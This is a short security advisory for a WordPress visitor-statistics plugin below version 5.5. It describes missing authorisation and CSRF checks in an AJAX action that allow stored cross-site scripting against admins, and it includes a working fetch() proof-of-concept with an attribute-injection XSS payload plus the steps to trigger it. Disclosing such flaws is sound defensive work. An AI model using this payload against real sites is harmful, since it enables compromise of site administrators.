WordPress Plugin Vulnerabilities

WP Visitor Statistics (Real Time Traffic) < 5.5 - Arbitrary IP Address Exclusion to Stored XSS

Description

The plugin does not have authorisation and CSRF checks in the updateIpAddress AJAX action, allowing any authenticated user to call it, or make a logged in user do it via a CSRF attack and add an arbitrary IP address to exclude. Furthermore, due to the lack of validation, sanitisation and escaping, users could set a malicious value and perform Cross-Site Scripting attacks against logged in admin

Proof of Concept

As any logged-in user:

fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"updateIpAddress","ip":'" style=animation-name:rotation onanimationstart=alert(1) x'}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

Then (as admin) browse to https://example.com/wp-admin/admin.php?page=wsm_settings#ipexclusion or https://example.com/wp-admin/admin.php?page=wsm_ipexc